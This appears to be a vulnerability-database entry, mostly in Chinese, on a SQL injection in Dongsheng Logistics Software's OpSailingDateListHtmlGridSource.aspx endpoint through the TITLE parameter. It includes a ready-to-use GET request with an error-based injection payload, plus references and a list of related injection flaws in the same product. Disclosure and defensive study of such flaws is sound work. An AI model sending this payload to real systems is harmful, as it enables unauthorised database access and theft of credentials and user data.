Description 东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。该产品采用.NET技术栈开发,提供完整的物流业务流程管理,涵盖接单、调度、配载、运输、签收、结算等环节,广泛应用于第三方物流、货运代理、供应链管理等行业。东胜物流软件的 /PriceCarrier/OpSailingDateListHtmlGridSource.aspx 接口存在SQL注入漏洞,攻击者可以通过TITLE参数构造恶意的SQL语句,未经授权访问数据库,获取敏感信息(如管理员密码、用户数据)或对数据库进行破坏性操作。
PoC Copy GET /PriceCarrier/OpSailingDateListHtmlGridSource.aspx?handle=list&cur_page=1&show_page=10&TITLE=1'and+1<@@VERSION-- HTTP/1.1 # Visit https://trap.biu.life/ to view exploit trends for this vulnerability. Source: https://gobysec.net/updates# Dongsheng Logistics Software /PriceCarrier/OpSailingDateListHtmlGridSource.aspx SQL Injection Vulnerability
References https://mrxn.net/jswz/dongsheng-PriceCarrier-OpSailingDateListHtmlGridSource-sqli.html https://www.ddpoc.com/DVB-2026-11000.html https://cn-sec.com/archives/5054464.html https://cn-sec.com/archives/tag/%E4%B8%9C%E8%83%9C%E7%89%A9%E6%B5%81%E8%BD%AF%E4%BB%B6 https://starmap.dbappsecurity.com.cn/info/7130 https://itec.tsyzh.edu.cn/info/1005/1100.htm https://mrxn.net/jswz/dongsheng-PriceCarrier-OpSailingDateInfoGridSource-sqli.html https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E4%B8%9C%E8%83%9C%E7%89%A9%E6%B5%81%E8%BD%AF%E4%BB%B6/%E4%B8%9C%E8%83%9C%E7%89%A9%E6%B5%81%E8%BD%AF%E4%BB%B6GetDataListCA%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
Related Vulnerabilities东胜物流软件 /PriceCarrier/OpSailingDateInfoGridSource.aspx SQL 注入漏洞东胜物流软件 /PriceCarrier/CrmProxyMailListHtmlGridSource.aspx SQL 注入漏洞东胜物流软件 /Import/ImportTrade/DeleteWMS SQL 注入漏洞PoC东胜物流软件 /Modules/ModuleGridSource.aspx list SQL 注入漏洞PoC东胜物流软件 /MvcShipping/MsOpSeae/GetAmsData SQL 注入漏洞东胜物流软件 /MvcShipping/MsChDui/GetFeeDetailList SQL 注入漏洞东胜物流软件usergrid.aspx存在信息泄露漏洞东胜物流软件 GetMblIsRepeat 存在SQL注入漏洞东胜物流软件 OpSailingDateListHtmlGridSource.aspx 存在SQL注入漏洞东胜物流软件 GetData 存在SQL注入漏洞东胜物流软件 GetDetailList 存在SQL 注入漏洞东胜物流软件 GetBLListData SQL 注入漏洞